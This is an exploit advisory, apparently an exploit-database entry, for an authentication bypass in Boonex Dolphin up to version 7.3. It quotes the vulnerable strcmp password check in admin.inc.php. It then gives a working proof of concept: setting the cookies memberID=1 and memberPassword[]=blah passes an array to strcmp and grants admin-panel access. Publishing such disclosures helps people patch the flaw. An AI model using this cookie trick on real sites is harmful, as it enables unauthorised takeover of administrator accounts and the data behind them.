Boonex Dolphin 7.3.2 - Authentication Bypass

# Exploit Title     : Boonex Dolphin all versoin <= 7.3 Authentication Bypass

Proof of Concept

File: admin.inc.php
Line: 187
Code: (strcmp($aProfile['Password'], $passwd) != 0)
 
$passwd is equal to Cookie parameter memberpassword
 
Bug:
According to PHP documentation strcmp will compare strings, but what if we provide an array???
 
So, simple bypass is to put two cookies in browser
memberID=1
memberPassword[]=blah --->array
 
This will allow the attacker to bypass the authentication and can also enter in admin panel.
